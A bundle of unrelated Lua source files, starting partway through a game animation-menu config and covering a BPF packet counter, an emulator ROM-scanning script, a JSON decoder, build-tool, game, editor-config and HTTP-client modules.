"Posilování", type = "anim", data = {lib = "amb@world_human_muscle_free_weights@male@barbell@base", anim = "base"}}, {label = "Klikování", type = "anim", data = {lib = "amb@world_human_push_ups@male@base", anim = "base"}}, {label = "Sedy lehy", type = "anim", data = {lib = "amb@world_human_sit_ups@male@base", anim = "base"}}, {label = "Jóga", type = "anim", data = {lib = "amb@world_human_yoga@male@base", anim = "base_a"}}, } }, { name = 'misc', label = 'Ostatní', items = { {label = "Pití kávy", type = "anim", data = {lib = "amb@world_human_aa_coffee@idle_a", anim = "idle_a"}}, {label = "Sedění", type = "anim", data = {lib = "anim@heists@prison_heistunfinished_biztarget_idle", anim = "target_idle"}}, {label = "Opření o zeď", type = "scenario", data = {anim = "world_human_leaning"}}, {label = "Ležení na zádech", type = "scenario", data = {anim = "WORLD_HUMAN_SUNBATHE_BACK"}}, {label = "Ležení na břiše", type = "scenario", data = {anim = "WORLD_HUMAN_SUNBATHE"}}, {label = "Uklízení", type = "scenario", data = {anim = "world_human_maid_clean"}}, {label = "Grilování", type = "scenario", data = {anim = "PROP_HUMAN_BBQ"}}, {label = "Osobní prohlídka", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_bj_to_prop_female"}}, {label = "Focení selfie", type = "scenario", data = {anim = "world_human_tourist_mobile"}}, {label = "Poslouchání u dveří", type = "anim", data = {lib = "mini@safe_cracking", anim = "idle_base"}}, } }, { name = 'attitudem', label = 'Postoje', items = { {label = "Normální muž", type = "attitude", data = {lib = "move_m@confident", anim = "move_m@confident"}}, {label = "Normální žena", type = "attitude", data = {lib = "move_f@heels@c", anim = "move_f@heels@c"}}, {label = "Deprese muž", type = "attitude", data = {lib = "move_m@depressed@a", anim = "move_m@depressed@a"}}, {label = "Deprese žena", type = "attitude", data = {lib = "move_f@depressed@a", anim = "move_f@depressed@a"}}, {label = "Business", type = "attitude", data = {lib = "move_m@business@a", anim = "move_m@business@a"}}, {label = "Odhodlaný", type = "attitude", data = {lib = "move_m@brave@a", anim = "move_m@brave@a"}}, {label = "Běžný", type = "attitude", data = {lib = "move_m@casual@a", anim = "move_m@casual@a"}}, {label = "Přejezení", type = "attitude", data = {lib = "move_m@fat@a", anim = "move_m@fat@a"}}, {label = "Hipster", type = "attitude", data = {lib = "move_m@hipster@a", anim = "move_m@hipster@a"}}, {label = "Zranění", type = "attitude", data = {lib = "move_m@injured", anim = "move_m@injured"}}, {label = "Pospíchání", type = "attitude", data = {lib = "move_m@hurry@a", anim = "move_m@hurry@a"}}, {label = "Bezdomovec", type = "attitude", data = {lib = "move_m@hobo@a", anim = "move_m@hobo@a"}}, {label = "Smutný", type = "attitude", data = {lib = "move_m@sad@a", anim = "move_m@sad@a"}}, {label = "Svalnatost", type = "attitude", data = {lib = "move_m@muscle@a", anim = "move_m@muscle@a"}}, {label = "Šokovaný", type = "attitude", data = {lib = "move_m@shocked@a", anim = "move_m@shocked@a"}}, {label = "Podezřelý", type = "attitude", data = {lib = "move_m@shadyped@a", anim = "move_m@shadyped@a"}}, {label = "Únava", type = "attitude", data = {lib = "move_m@buzzed", anim = "move_m@buzzed"}}, {label = "Uspěchanost", type = "attitude", data = {lib = "move_m@hurry_butch@a", anim = "move_m@hurry_butch@a"}}, {label = "Pyšný", type = "attitude", data = {lib = "move_m@money", anim = "move_m@money"}}, {label = "Sprint", type = "attitude", data = {lib = "move_m@quick", anim = "move_m@quick"}}, {label = "Gay", type = "attitude", data = {lib = "move_f@maneater", anim = "move_f@maneater"}}, {label = "Drzost", type = "attitude", data = {lib = "move_f@sassy", anim = "move_f@sassy"}}, {label = "Arogance", type = "attitude", data = {lib = "move_f@arrogant@a", anim = "move_f@arrogant@a"}}, } }, { name = 'porn', label = 'Sex', items = { {label = "Kouření v autě - muž", type = "anim", data = {lib = "oddjobs@towing", anim = "m_blow_job_loop"}}, {label = "Kouření v autě - žena", type = "anim", data = {lib = "oddjobs@towing", anim = "f_blow_job_loop"}}, {label = "Sex v autě - muž", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_sex_loop_player"}}, {label = "Sex v autě - žena", type = "anim", data = {lib = "mini@prostitutes@sexlow_veh", anim = "low_car_sex_loop_female"}}, {label = "Škrabání v rozkroku", type = "anim", data = {lib = "mp_player_int_uppergrab_crotch", anim = "mp_player_int_grab_crotch"}}, {label = "Stání prostitutky", type = "anim", data = {lib = "mini@strip_club@idles@stripper", anim = "stripper_idle_02"}}, {label = "Póza prostitutky", type = "scenario", data = {anim = "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS"}}, {label = "Ukázání prsou", type = "anim", data = {lib = "mini@strip_club@backroom@", anim = "stripper_b_backroom_idle_b"}}, {label = "Striptýz", type = "anim", data = {lib = "mini@strip_club@lap_dance@ld_girl_a_song_a_p1", anim = "ld_girl_a_song_a_p1_f"}}, {label = "Striptýz 2", type = "anim", data = {lib = "mini@strip_club@private_dance@part2", anim = "priv_dance_p2"}}, {label = "Striptýz 3", type = "anim", data = {lib = "mini@strip_club@private_dance@part3", anim = "priv_dance_p3"}}, } } }
#!/usr/bin/env bcc-lua --[[ Copyright 2016 Marek Vavrusa <mvavrusa@cloudflare.com> Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ]] -- This program looks at IP, UDP and ICMP packets and -- increments counter for each packet of given type seen -- Rewrite of https://github.com/torvalds/linux/blob/master/samples/bpf/sock_example.c local ffi = require("ffi") local bpf = require("bpf") ---local S = require("syscall") -- Shared part of the program local map = bpf.map('hash', 256) map[1], map[6], map[17] = 0, 0, 0 -- Kernel-space part of the program bpf.socket('lo', function (skb) local proto = pkt.ip.proto -- Get byte (ip.proto) from frame at [23] xadd(map[proto], 1) -- Atomic `map[proto] += 1` end) -- User-space part of the program for _ = 1, 10 do local icmp, udp, tcp = map[1], map[17], map[6] print(string.format('TCP %d UDP %d ICMP %d packets', tonumber(tcp or 0), tonumber(udp or 0), tonumber(icmp or 0))) --- S.sleep(1) end
START_ADDR = 0x10 END_ADDR = rom.readbyte(4) * 0x4000 + 0x10 CUR_ADDR = START_ADDR STEP = 1 CDL_FILE = "diff.cdl" WRITE_VALUE = 0x33 FRAME_FOR_SCREEN = 0 cdlData = "" -------------------------------------------------------- function atSave(i) print(i) local curSave = savestate.create() savestate.save(curSave) savestate.load(savestate.create(2)) frame1 = emu.framecount() savestate.load(curSave) -- need to reload for right value of framecount() for savestate savestate.load(savestate.create(3)) frame2 = emu.framecount() savestate.load(curSave) print("save:"..tostring(frame1).."-"..tostring(frame2)) if i == 1 then cdlog.docdlogger() cdlog.resetcdlog() cdlog.startcdlogging() elseif i == 2 then cdlog.pausecdlogging() cdlog.savecdlogfileas(CDL_FILE) end end savestate.registersave(atSave) -------------------------------------------------------- function readCdlMask(CUR_ADDR) return bit.band(string.byte(cdlData:sub(CUR_ADDR+0x10,CUR_ADDR+0x10)), 0x22) end function start() savestate.load(savestate.create(3)) FRAME_FOR_SCREEN = emu.framecount() cdlFile = assert(io.open(CDL_FILE, "rb")) cdlData = cdlFile:read("*all") shas = {} CYCLES = 0 emu.speedmode("maximum"); lastValue = rom.readbyte(START_ADDR) savestate.load(savestate.create(2)) needReturn = true while (true) do if emu.framecount() > FRAME_FOR_SCREEN then if needReturn then local ppuNametable = ppu.readbyterange(0x2000, 0x400) local hash = gethash(ppuNametable, string.len(ppuNametable)); if (not shas[hash]) then print("Found new screen at addr "..string.format("%05X", CUR_ADDR).." hash "..tostring(hash)); local fname = string.format("snaps/%05X", CUR_ADDR)..".png"; gui.savescreenshotas(fname); emu.frameadvance(); shas[hash] = true; end; rom.writebyte(CUR_ADDR, lastValue); needReturn = false; end; CUR_ADDR = CUR_ADDR + STEP; CYCLES = CYCLES + 1; if (CYCLES % 100) == 0 then print(string.format("%05X", CUR_ADDR)); end; if (CUR_ADDR > END_ADDR) then gui.text(20,20, string.format("WORK COMPLETE!")); emu.pause(); end; local cdlCharMask = readCdlMask(CUR_ADDR) if cdlCharMask ~= 0 then lastValue = rom.readbyte(CUR_ADDR); rom.writebyte(CUR_ADDR, WRITE_VALUE); needReturn = true; savestate.load(savestate.create(2)) end; --fast check of cdl data while cdlCharMask == 0 and CUR_ADDR < END_ADDR do CUR_ADDR = CUR_ADDR + STEP cdlCharMask = readCdlMask(CUR_ADDR) end end; emu.frameadvance(); end; end -------------------------------------------------------- while (true) do local t = input.get() if t["E"] then break end emu.frameadvance(); end print "!!!" start()
--[[ Licensed according to the included 'LICENSE' document Author: Thomas Harning Jr <harningt@gmail.com> ]] local lpeg = require("lpeg") local tonumber = tonumber local merge = require("json.util").merge local util = require("json.decode.util") module("json.decode.number") local digit = lpeg.R("09") local digits = digit^1 int = (lpeg.P('-') + 0) * (lpeg.R("19") * digits + digit) local int = int local frac = lpeg.P('.') * digits local exp = lpeg.S("Ee") * (lpeg.S("-+") + 0) * digits local nan = lpeg.S("Nn") * lpeg.S("Aa") * lpeg.S("Nn") local inf = lpeg.S("Ii") * lpeg.P("nfinity") local ninf = lpeg.P('-') * lpeg.S("Ii") * lpeg.P("nfinity") local hex = (lpeg.P("0x") + lpeg.P("0X")) * lpeg.R("09","AF","af")^1 local defaultOptions = { nan = true, inf = true, frac = true, exp = true, hex = false } default = nil -- Let the buildCapture optimization take place strict = { nan = false, inf = false } local nan_value = 0/0 local inf_value = 1/0 local ninf_value = -1/0 --[[ Options: configuration options for number rules nan: match NaN inf: match Infinity frac: match fraction portion (.0) exp: match exponent portion (e1) DEFAULT: nan, inf, frac, exp ]] local function buildCapture(options) options = options and merge({}, defaultOptions, options) or defaultOptions local ret = int if options.frac then ret = ret * (frac + 0) end if options.exp then ret = ret * (exp + 0) end if options.hex then ret = hex + ret end -- Capture number now ret = ret / tonumber if options.nan then ret = ret + nan / function() return nan_value end end if options.inf then ret = ret + ninf / function() return ninf_value end + inf / function() return inf_value end end return ret end function register_types() util.register_type("INTEGER") end function load_types(options, global_options, grammar) local integer_id = util.types.INTEGER local capture = buildCapture(options) util.append_grammar_item(grammar, "VALUE", capture) grammar[integer_id] = int / tonumber end
--!A cross-platform build utility based on Lua -- -- Licensed under the Apache License, Version 2.0 (the "License"); -- you may not use this file except in compliance with the License. -- You may obtain a copy of the License at -- -- http://www.apache.org/licenses/LICENSE-2.0 -- -- Unless required by applicable law or agreed to in writing, software -- distributed under the License is distributed on an "AS IS" BASIS, -- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. -- See the License for the specific language governing permissions and -- limitations under the License. -- -- Copyright (C) 2015-2020, TBOOX Open Source Group. -- -- @author ruki -- @file pkg_config.lua -- -- imports import("core.base.global") import("core.project.target") import("core.project.config") import("lib.detect.find_file") import("lib.detect.find_library") import("detect.tools.find_pkg_config") -- get version -- -- @param name the package name -- @param opt the argument options, {configdirs = {"/xxxx/pkgconfig/"}} -- function version(name, opt) -- attempt to add search paths from pkg-config local pkg_config = find_pkg_config() if not pkg_config then return end -- init options opt = opt or {} -- init PKG_CONFIG_PATH local configdirs_old = os.getenv("PKG_CONFIG_PATH") local configdirs = table.wrap(opt.configdirs) if #configdirs > 0 then os.setenv("PKG_CONFIG_PATH", unpack(configdirs)) end -- get version local version = try { function() return os.iorunv(pkg_config, {"--modversion", name}) end } if version then version = version:trim() end -- restore PKG_CONFIG_PATH if configdirs_old then os.setenv("PKG_CONFIG_PATH", configdirs_old) end -- ok? return version end -- get variables -- -- @param name the package name -- @param variables the variables -- @param opt the argument options, {configdirs = {"/xxxx/pkgconfig/"}} -- function variables(name, variables, opt) -- attempt to add search paths from pkg-config local pkg_config = find_pkg_config() if not pkg_config then return end -- init options opt = opt or {} -- init PKG_CONFIG_PATH local configdirs_old = os.getenv("PKG_CONFIG_PATH") local configdirs = table.wrap(opt.configdirs) if #configdirs > 0 then os.setenv("PKG_CONFIG_PATH", unpack(configdirs)) end -- get variable value local result = nil if variables then for _, variable in ipairs(table.wrap(variables)) do local value = try { function () return os.iorunv(pkg_config, {"--variable=" .. variable, name}) end } if value ~= nil then result = result or {} result[variable] = value:trim() end end end -- restore PKG_CONFIG_PATH if configdirs_old then os.setenv("PKG_CONFIG_PATH", configdirs_old) end -- ok? return result end -- get library info -- -- @param name the package name -- @param opt the argument options, {version = true, variables = "includedir", configdirs = {"/xxxx/pkgconfig/"}} -- -- @return {links = {"ssl", "crypto", "z"}, linkdirs = {""}, includedirs = {""}, version = ""} -- -- @code -- -- local libinfo = pkg_config.libinfo("openssl") -- -- @endcode -- function libinfo(name, opt) -- attempt to add search paths from pkg-config local pkg_config = find_pkg_config() if not pkg_config then return end -- init options opt = opt or {} -- init PKG_CONFIG_PATH local configdirs_old = os.getenv("PKG_CONFIG_PATH") local configdirs = table.wrap(opt.configdirs) if #configdirs > 0 then os.setenv("PKG_CONFIG_PATH", unpack(configdirs)) end -- get libs and cflags local result = nil local flags = try { function () return os.iorunv(pkg_config, {"--libs", "--cflags", name}) end } if flags then -- init result result = {} for _, flag in ipairs(os.argv(flags)) do if flag:startswith("-L") and #flag > 2 then -- get linkdirs local linkdir = flag:sub(3) if linkdir and os.isdir(linkdir) then result.linkdirs = result.linkdirs or {} table.insert(result.linkdirs, linkdir) end elseif flag:startswith("-I") and #flag > 2 then -- get includedirs local includedir = flag:sub(3) if includedir and os.isdir(includedir) then result.includedirs = result.includedirs or {} table.insert(result.includedirs, includedir) end elseif flag:startswith("-l") and #flag > 2 then -- get links local link = flag:sub(3) result.links = result.links or {} table.insert(result.links, link) end end end -- get version local version = try { function() return os.iorunv(pkg_config, {"--modversion", name}) end } if version then result = result or {} result.version = version:trim() end -- restore PKG_CONFIG_PATH if configdirs_old then os.setenv("PKG_CONFIG_PATH", configdirs_old) end return result end
local ModInventoryControl = Class.create("ModInventoryControl", Entity) local Keymap = require "xl.Keymap" local InventoryMenu = require "state.InventoryMenu" local Inventory = require "xl.Inventory" function ModInventoryControl:create( ) self.keyItemList = self.keyItemList or {} self.canPressUse = true --initializes sprite and hud if not (self.sprites and self.healthbar and self.guardbar and self.equipIcons) then -- create sprite -- self:addSpritePieces(require("assets.spr.player.PceIrrelevant")) -- self.animations = require "assets.spr.player.AneIrrelevant" self.imgX = 64 self.imgY = 64 self.initImgH = 64 self.initImgW = 64 -- healthbar self.healthbar = Healthbar( self.max_health ) self.healthbar.fgcolor = { 150, 0, 0 } self.healthbar.redcolor = { 255, 0, 0 } self.healthbar:setPosition( 72, 5 ) self.healthbar.bgcolor = {100,100,100} --self.healthbar:setImage(love.graphics.newImage( "assets/HUD/interface/marble.png" )) -- guardbar self.guardbar = Healthbar( self.max_light ) self.guardbar.fgcolor = { 40, 200, 40 } self.guardbar:setPosition( 72, 20 ) self.guardbar:setImage(love.graphics.newImage( "assets/HUD/interface/gold.png" )) --Primary Equip Icon self.equipIcons = {} if self.currentPrimary then self.equipIcons["primary"] = EquipIcon( self.currentPrimary.invSprite ) self.equipIcons["primary"]:setPosition( 2 , 2 ) else self.equipIcons["primary"] = EquipIcon( nil ) self.equipIcons["primary"]:setPosition( 2 , 2 ) end --Equip Icon self.equipIcons["up"] = EquipIcon(nil) self.equipIcons["up"]:setPosition(2,74) self.equipIcons["neutral"] = EquipIcon(nil) self.equipIcons["neutral"]:setPosition(2,146) self.equipIcons["down"] = EquipIcon(nil) self.equipIcons["down"]:setPosition(2,218) for k,v in pairs(self.currentEquips) do if self.equipIcons[k] then self.equipIcons[k]:setImage(v.invSprite) end end self.TextInterface = TextInterface() end Game.hud:insert( self.healthbar ) Game.hud:insert( self.guardbar ) Game.hud:insert( self.TextInterface ) for k,v in pairs(self.equipIcons) do Game.hud:insert( v ) end end return ModInventoryControl
return { vec2 = require "lib.vec2", vec3 = require "lib.vec3", vec4 = require "lib.vec4", }
require('plugins/line-theme/evil_lualine') -- require('plugins/line-theme/bubbles')
include("terms") style = {["off_color"] = "cff", ["on_color"] = "cff", ["line_color"] = "000", ["line_width"] = "2"}; text_style = {["font_size"] = "16"} meas = {"\(^\circ\)", "'"} symb = "\(\angle\)" numb = {} ang_g = {} ang_m = {} index = {} fact = {} qq = {} answ = {} index = {3, 4, 5, 5, 6, 8, 10} fact = {1, 1, 1, 2, 1, 3, 3} dim = 7 numb = {"α", "β", "γ", "δ"} dat = "" ind = math.random(2) if (ind == 1) then sign = math.random(3) angle_g = 60 +(2 - sign) * math.random(9) angle_m = 2 * (math.random(30) - 1) angle = angle_g * 60 + angle_m dat = choice[1] if (angle_g ~= 0) then dat= dat .. " " .. angle_g .. meas[1] .. " " end if (angle_m ~= 0) then dat = dat .. angle_m .. meas[2] .. " " end else sign = math.random(dim) tmp = math.floor(10800/index[sign]) angle = tmp * fact[sign] enum = index[sign] - fact[sign] denom = fact[sign] factor = math.floor(enum/denom) rest = enum - factor * denom if (rest == 0) then dat = factor .. " " .. choice[2] else dat = "\(\frac{" .. enum .. "}{" .. denom .. "}\)" .. " " .. choice[2] end end if (ind == 1) then temp = 90 * 60 - math.floor(angle/2) ang_g[1] = math.floor(temp/60) ang_m[1] = temp - 60 * ang_g[1] ang_g[2] = math.floor((angle + temp)/60) ang_m[2] = angle + temp - 60 * ang_g[2] else ang_g[1] = math.floor(angle/60) ang_m[1] = angle - 60 * ang_g[1] temp = tmp * (index[sign] - fact[sign]) ang_g[2] = math.floor(temp/60) ang_m[2] = temp - 60 * ang_g[2] end ang_g[3] = ang_g[1] ang_m[3] = ang_m[1] ang_g[4] = ang_g[2] ang_m[4] = ang_m[2] for i = 1,4 do answ[i] = "" if (ang_g[i] ~= 0) then answ[i] = answ[i] .. lib.check_number(ang_g[i],30) .. meas[1] .. " " end if (ang_m[i] ~= 0) then answ[i] = answ[i] .. lib.check_number(ang_m[i],20) .. meas[2] .. " " end end mycanvas = function(no) lib.start_canvas(220, 130, "center") ow = 10 w = 120 ov = 100 v = 30 lib.add_straight_path(2*v, 2*ow, {{w, 0}, {-2*v+ow, ov-2*ow}, {-w, 0}, {2*v-ow, -ov+2*ow}}, style, true, false) lib.add_text(ow, ov+ow, "A", text_style) lib.add_text(ow+w, ov+ow, "B", text_style) lib.add_text(2*v+w, ow, "C", text_style) lib.add_text(2*v, ow, "D", text_style) lib.add_text(2*ow+5, ov-ow, numb[1], text_style) lib.add_text(w, ov-ow, numb[2], text_style) lib.add_text(2*v+w-2*ow, 3*ow, numb[3], text_style) lib.add_text(2*v+5, 3*ow, numb[4], text_style) lib.end_canvas() end
local _hxClasses = {} local Int = _hx_e(); local Dynamic = _hx_e(); local Float = _hx_e(); local Bool = _hx_e(); local Class = _hx_e(); local Enum = _hx_e();
require("core/object"); AnimManager = class(); AnimDef = { FILE = 1; CLASS = 2; GROUPID = 3; }; AnimManager.getInstance = function() if not AnimManager.s_instance then AnimManager.s_instance = new(AnimManager); end return AnimManager.s_instance; end AnimManager.releaseInstance = function() delete(AnimManager.s_instance); AnimManager.s_instance = nil; end AnimManager.ctor = function(self) self.m_anims = {}; self.m_groups = {}; self.m_defaultGroupId = "default"; end AnimManager.dtor = function(self) self.m_anims = nil; self.m_groups = nil; end AnimManager.setAnimDefs = function(self, animDefs) self.m_animDefs = animDefs or {}; end AnimManager.loadAnim = function(self, animId,...) if self:cacheAnim(animId) then self.m_anims[animId].load(...); return true; end return false; end AnimManager.playAnim = function(self, animId,...) if self:cacheAnim(animId) then local node = self.m_anims[animId].play(...); return node; end return false; end AnimManager.stopAnim = function(self, animId,...) if self.m_anims[animId] then self.m_anims[animId].stop(...); end end AnimManager.releaseAnim = function(self, animId,...) if (not animId) or (not self.m_animDefs[animId]) then return false; end if self.m_anims[animId] then self.m_anims[animId].release(...); end end AnimManager.loadGroup = function(self, groupId) groupId = groupId or self.m_defaultGroupId; for k,v in pairs(table.verify(self.m_animDefs)) do if v[AnimDef.GROUPID] == groupId then self:loadAnim(k); end end end AnimManager.releaseGroup = function(self, groupId) groupId = groupId or self.m_defaultGroupId; for _,v in pairs(self.m_groups[groupId] or {}) do local anim = self.m_anims[v]; if anim then anim.release(); end end end AnimManager.loadAll = function(self) for k,v in pairs(table.verify(self.m_animDefs)) do self:loadAnim(k); end end AnimManager.releaseAll = function(self) for k,v in pairs(self.m_anims or {}) do self:releaseAnim(k); end self.m_anims = {}; self.m_groups = {}; end AnimManager.cacheAnim = function(self, animId) if (not animId) or (not self.m_animDefs[animId]) then return false; end if self.m_anims[animId] then return true; end local animDef = self.m_animDefs[animId]; local file = animDef[AnimDef.FILE]; local className = animDef[AnimDef.CLASS]; local groupId = animDef[AnimDef.GROUPID] or self.m_defaultGroupId; if not (file and className) then return false; end require(file); self.m_anims[animId] = _G[className]; self.m_groups[groupId] = self.m_groups[groupId] or {}; self.m_groups[groupId][#(self.m_groups[groupId]) + 1] = animId; return true; end
local asserts = require 'lib.asserts' local Object = require 'lib.object' local Type = require 'lib.luapi.type' --[[ Single lua file = @ (lib.object) > reqpath (string) > fullpath (string) > module (lib.luapi.type) [] > cache (@.cache) [] Gets removed after File:write() attempt ]] local File = Object:extend 'lib.luapi.file' --[[ Init file but don't read it = @>init (function) > self (@) > reqpath (string) > fullpath (string) > conf (lib.luapi.conf) ]] function File:init(reqpath, fullpath, conf) asserts(function(x) return type(x) == 'string' end, reqpath, fullpath) assert(conf:is('lib.luapi.conf')) self.reqpath = reqpath self.fullpath = fullpath self.cache = require 'lib.luapi.file.cache' (self, conf) end --[[ Read file = @>read (function) > self (@) < success (@) [] ]] function File:read() -- init.lua local file = io.open(self.fullpath .. '/init.lua', 'rb') if not file then return nil end self.cache.content = file:read '*a' .. '\n' self.cache.code = self.cache.content :gsub('%-%-%[%[.-%]%]', '') :gsub('%-%-.-\n', '') file:close() -- modname.md or include.md local modname = self.fullpath:match '.+/(.+)' file = io.open(self.fullpath .. '/' .. modname .. '.md', 'rb') or io.open(self.fullpath .. '/include.md', 'rb') if file then self.cache.readme = '\n' .. file:read '*a' file:close() end -- example.lua file = io.open(self.fullpath .. '/example.lua', 'rb') if file then self.cache.example = file:read '*a' file:close() end return self end --[[ Parse module before everything else = @>parse (function) > self (@) < success (@) [] ]] function File:parse_module() for block in self.cache.content:gmatch '%-%-%[%[.-%]%].-\n' do if block:find '\n=%s@%P' or block:find('\n=%s' .. self.cache.escaped_reqpath .. '%P') then self.module = Type(block, self.reqpath, self.cache.conf.parser) return self end end end --[[ Parse file = @>parse (function) > self (@) < success (@) ]] function File:parse() local parser = self.cache.conf.parser local conten = self.cache.content local escaped_reqpath = self.cache.escaped_reqpath if parser == 'strict' then local index = 1 for block in conten:gmatch '%-%-%[%[.-%]%].-\n' do local type = Type(block, self.reqpath, parser) if type then type.index = index local short_type_name = type.name:gsub(escaped_reqpath, '@') local s = short_type_name:sub(1, 2) type.name = short_type_name:sub(3, -1) if s == '@>' then self.module.fields = self.module.fields or {} self.module.fields[type.name] = type elseif s == '@<' then self.module.returns = self.module.returns or {} self.module.returns[type.name] = type elseif s == '@#' then self.module.locals = self.module.locals or {} self.module.locals[type.name] = type end end index = index + 1 end return self end return false end --[[ Write @#output to the file and clean up file cache = @>write (function) > self (@) < self (@) ]] function File:write() -- Touch file local file = io.open(self.fullpath .. '/readme.md', 'w+') if not file then print('error: failed to create "' .. self.fullpath .. '/readme.md' .. '"') return nil end -- Create output if self.module then self.module:build_output(self) end -- Write output local out = self.cache file:write(out.head.text .. out.body.text .. out.foot.text) file:close() return self end --[[ Try to get access to type in this file by path = @>get_type (function) > self (@) > path (string) < result (lib.luapi.type|string) ]] function File:get_type(path) path = path:gsub('@', self.reqpath) local len = self.reqpath:len() if path:sub(1, len) == self.reqpath then local type_name = path:sub(len+2, -1) local divider = len+1 divider = path:sub(divider, divider) if divider == ':' then return self.module[type_name] elseif divider == '#' then return self.locals[type_name] end end return path end --[[ Remove cache = @>cleanup (function) > self (@) ]] function File:cleanup() self.cache = nil end return File
vim.g.startify_files_number = 5 vim.g.startify_update_oldfiles = 1 vim.g.startify_session_autoload = 1 vim.g.startify_session_persistence = 1 -- autoupdate sessions vim.g.startify_session_delete_buffers = 1 -- delete all buffers when loading or closing a session, ignore unsaved buffers vim.g.startify_change_to_dir = 0 -- when opening a file or bookmark, change to its directory vim.g.startify_fortune_use_unicode = 1 -- beautiful symbols vim.g.startify_padding_left = 3 --the number of spaces used for left padding vim.g.startify_session_remove_lines = { "setlocal", "winheight" } -- lines matching any of the patterns in this list, will be removed from the session file vim.g.startify_session_sort = 1 -- sort sessions by alphabet or modification time vim.g.startify_custom_indices = { "1", "2", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12", "13", "14", "15", "16", "17", "18", } -- MRU indices vim.g.startify_custom_header = one_punch_man vim.g.startify_session_dir = os.getenv "HOME" .. "/.cache/vim/sessions/" vim.g.startify_commands = { { ["pu"] = { "Update plugins", ":PackerSync" } }, { ["ps"] = { "Plugins status", ":PackerStatus" } }, { ["h"] = { "Help", ":help" } }, } vim.g.startify_lists = { { ["type"] = "dir", ["header"] = { string.format("  Current Files in %s", vim.fn.getcwd()), }, }, { ["type"] = "files", ["header"] = { [[  History]] }, }, { ["type"] = "sessions", ["header"] = { [[  Sessions]] }, }, { ["type"] = "bookmarks", ["header"] = { [[  Bookmarks]] }, }, { ["type"] = "commands", ["header"] = { [[ גּ Commands]] }, }, }
local class = require "utils.class" local ID = require "utils.ID" local default_formula = require "utils.PropertyFormula" local Property = class() function Property:_init_(property) self.uuid = ID.Next(); self.property = property or {} self.formula = default_formula self.merged = {} self.cached = {} self.change = {} self.path = {} self.depends = {} self.runtime = {} end function Property:Formula(key, callback) self.formula[key] = callback; end function Property:Get(key) -- not number value local v = rawget(self, key); if v ~= nil then return v; end local v = self.runtime[key]; if v ~= nil then return v; end if #self.path > 0 then self.depends[key] = self.depends[key] or {}; for _, v in ipairs(self.path) do self.depends[key][v] = true; -- depend loop check if key == v then local str = '\n[WARNING] ' .. key .. " depend loop: "; for _, v in ipairs(self.path) do str = str .. v .. " -> "; end str = str .. key; assert(false, str); end end end local change = self.change[key]; local v = self.cached[key]; if v ~= nil then if type(v) ~= "number" then return v; else return v + (change or 0); end end v = self.property[key] if type(v) ~= "number" and v ~= nil then self.runtime[key] = v; return v; end if change then v = v or 0; else change = 0; end local c = self.formula[key]; if c ~= nil then -- calc depend path self.path[#self.path + 1] = key; local cv = c(self); self.path[#self.path] = nil; if cv ~= nil and type(cv) ~= "number" then self.runtime[key] = cv; return cv; end v = (v or 0) + cv; end if type(key) == "number" or not c then for _, m in pairs(self.merged) do local mv = m and m[key] if mv ~= nil then if type(mv) ~= "number" then self.runtime[key] = mv; return mv; end v = (v or 0) + mv end end end if v then self.cached[key] = v; return v + change; end end function Property:_getter_(key) local t = self:Get(key); if t ~= nil then return t else return 0; end end function Property:_setter_(key, value) if value == nil then if self.change[key] then self.change[key] = nil elseif self.runtime[key] then self.runtime[key] = nil elseif self.cached[key] then self.cached[key] = nil; end return; end if self.runtime[key] or type(value) ~= 'number' then self.runtime[key] = value; return; end self.change[key] = (self.change[key] or 0) + (value - self[key]); for k, _ in pairs(self.depends[key] or {}) do self.cached[k] = nil; end end function Property:Add(key, property) self.merged[key] = property; self.cached = {} end function Property:Remove(key) if self.merged[key] then self.merged[key] = nil self.cached = {} end end return Property;
local bindings = {} local vars = require('nvimux.vars') local fns = {} local nvim = vim.api -- luacheck: ignore local consts = { terminal_quit = '<C-\\><C-n>', esc = '<ESC>', } fns.nvim_do_bind = function(options) local escape_prefix = options.escape_prefix or '' local mode = options.mode return function(cfg) local suffix = cfg.suffix local prefix = vars.local_prefix[mode] or vars.prefix if suffix == nil then suffix = string.sub(cfg.mapping, 1, 1) == ':' and '<CR>' or '' end nvim.nvim_command(mode .. 'noremap <silent> ' .. prefix .. cfg.key .. ' ' .. escape_prefix .. cfg.mapping .. suffix) end end fns.bind = { t = fns.nvim_do_bind{mode = 't', escape_prefix = consts.terminal_quit}, i = fns.nvim_do_bind{mode = 'i', escape_prefix = consts.esc}, n = fns.nvim_do_bind{mode = 'n'}, v = fns.nvim_do_bind{mode = 'v'} } fns.bind_all_modes = function(options) for _, mode in ipairs(options.modes) do fns.bind[mode](options) end end bindings.bind = function(options) fns.bind_all_modes(options) end bindings.create_binding = function(modes, command) local tbl = {} tbl[table.concat(modes, "")] = { command } return tbl end bindings.bind_all = function(options) for _, bind in ipairs(options) do local key, cmd, modes = unpack(bind) bindings.mappings[key] = bindings.create_binding(modes, cmd) end end return bindings
------------ --- HTTP -- HTTP client -- @module http_ng.backend local backend = {} local response = require 'resty.http_ng.response' local http_proxy = require 'resty.http.proxy' local function send(httpc, params) params.path = params.path or params.uri.path local res, err = httpc:request(params) if not res then return nil, err end res.body, err = res:read_body() if not res.body then return nil, err end local ok ok, err = httpc:set_keepalive() if not ok then ngx.log(ngx.WARN, 'failed to set keepalive connection: ', err) end return res end --- Send request and return the response -- @tparam http_ng.request request -- @treturn http_ng.response backend.send = function(_, request) local res local httpc, err = http_proxy.new(request) if httpc then res, err = send(httpc, request) end if res then return response.new(request, res.status, res.headers, res.body) else return response.error(request, err) end end return backend
